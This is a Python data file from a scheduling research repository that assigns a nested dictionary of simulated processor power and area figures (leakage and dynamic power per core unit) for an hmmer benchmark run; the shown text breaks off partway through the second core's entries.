1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5b25e423e287221ea7925e7bc808c299cd760d0b
68,586
py
Python
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_mylocality/cmp_hmmer/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_mylocality/cmp_hmmer/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_mylocality/cmp_hmmer/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
power = {'BUSES': {'Area': 1.33155, 'Bus/Area': 1.33155, 'Bus/Gate Leakage': 0.00662954, 'Bus/Peak Dynamic': 0.0, 'Bus/Runtime Dynamic': 0.0, 'Bus/Subthreshold Leakage': 0.0691322, 'Bus/Subthreshold Leakage with power gating': 0.0259246, 'Gate Leakage': 0.00662954, 'Peak Dynamic': 0.0, 'Runtime Dynamic': 0.0, 'Subthreshold Leakage': 0.0691322, 'Subthreshold Leakage with power gating': 0.0259246}, 'Core': [{'Area': 32.6082, 'Execution Unit/Area': 8.2042, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 3.77876e-06, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.202692, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 2.27703e-05, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.122718, 'Execution Unit/Instruction Scheduler/Area': 2.17927, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.792423, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 1.37219, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.78699, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 2.9516, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.783274, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 6.44748, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 4.3018e-06, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.028726, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.207726, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.212446, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.20773, 'Execution Unit/Register Files/Runtime Dynamic': 0.241172, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.501953, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.72195, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155, 'Execution Unit/Runtime Dynamic': 5.52279, 'Execution Unit/Subthreshold Leakage': 1.83518, 'Execution Unit/Subthreshold Leakage with power gating': 0.709678, 'Gate Leakage': 0.372997, 'Instruction Fetch Unit/Area': 5.86007, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00140634, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00140634, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00121557, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000465454, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00305181, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00708006, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.013818, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0590479, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.20423, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.444653, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.693657, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.96874, 'Instruction Fetch Unit/Runtime Dynamic': 1.36344, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932587, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0572954, 'L2/Runtime Dynamic': 0.0391315, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80969, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 8.91832, 'Load Store Unit/Data Cache/Runtime Dynamic': 4.48309, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0351387, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.248505, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.298297, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 10.0966, 'Load Store Unit/Runtime Dynamic': 6.25249, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.612772, 'Load Store Unit/StoreQ/Runtime Dynamic': 1.4711, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591622, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283406, 'Memory Management Unit/Area': 0.434579, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.217475, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.261905, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00813591, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.399995, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0729071, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.934466, 'Memory Management Unit/Runtime Dynamic': 0.334812, 'Memory Management Unit/Subthreshold Leakage': 0.0769113, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462, 'Peak Dynamic': 31.0663, 'Renaming Unit/Area': 0.369768, 'Renaming Unit/FP Front End RAT/Area': 0.168486, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 1.50469e-05, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925, 'Renaming Unit/Free List/Area': 0.0414755, 'Renaming Unit/Free List/Gate Leakage': 4.15911e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0401324, 'Renaming Unit/Free List/Runtime Dynamic': 0.0405203, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987, 'Renaming Unit/Gate Leakage': 0.00863632, 'Renaming Unit/Int Front End RAT/Area': 0.114751, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.434232, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781, 'Renaming Unit/Peak Dynamic': 4.56169, 'Renaming Unit/Runtime Dynamic': 0.474767, 'Renaming Unit/Subthreshold Leakage': 0.070483, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779, 'Runtime Dynamic': 13.9874, 'Subthreshold Leakage': 6.21877, 'Subthreshold Leakage with power gating': 2.58311}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 2.83407e-06, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.202691, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 1.51802e-05, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.477086, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.769523, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.388429, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.63504, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.545647, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 4.89105, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 2.86787e-06, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0200111, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.144707, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.147995, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.14471, 'Execution Unit/Register Files/Runtime Dynamic': 0.168006, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.304858, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.04584, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 3.45695, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00099059, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00099059, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000859345, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000330776, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00212596, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00496648, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00962121, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.142271, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.309736, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.483217, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.96396, 'Instruction Fetch Unit/Runtime Dynamic': 0.949811, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.039895, 'L2/Runtime Dynamic': 0.0272317, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 7.66042, 'Load Store Unit/Data Cache/Runtime Dynamic': 3.12314, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.207809, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.207809, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 8.64174, 'Load Store Unit/Runtime Dynamic': 4.3558, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.512422, 'Load Store Unit/StoreQ/Runtime Dynamic': 1.02484, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.18186, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.182456, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.399995, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0507856, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.868507, 'Memory Management Unit/Runtime Dynamic': 0.233242, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 26.9946, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 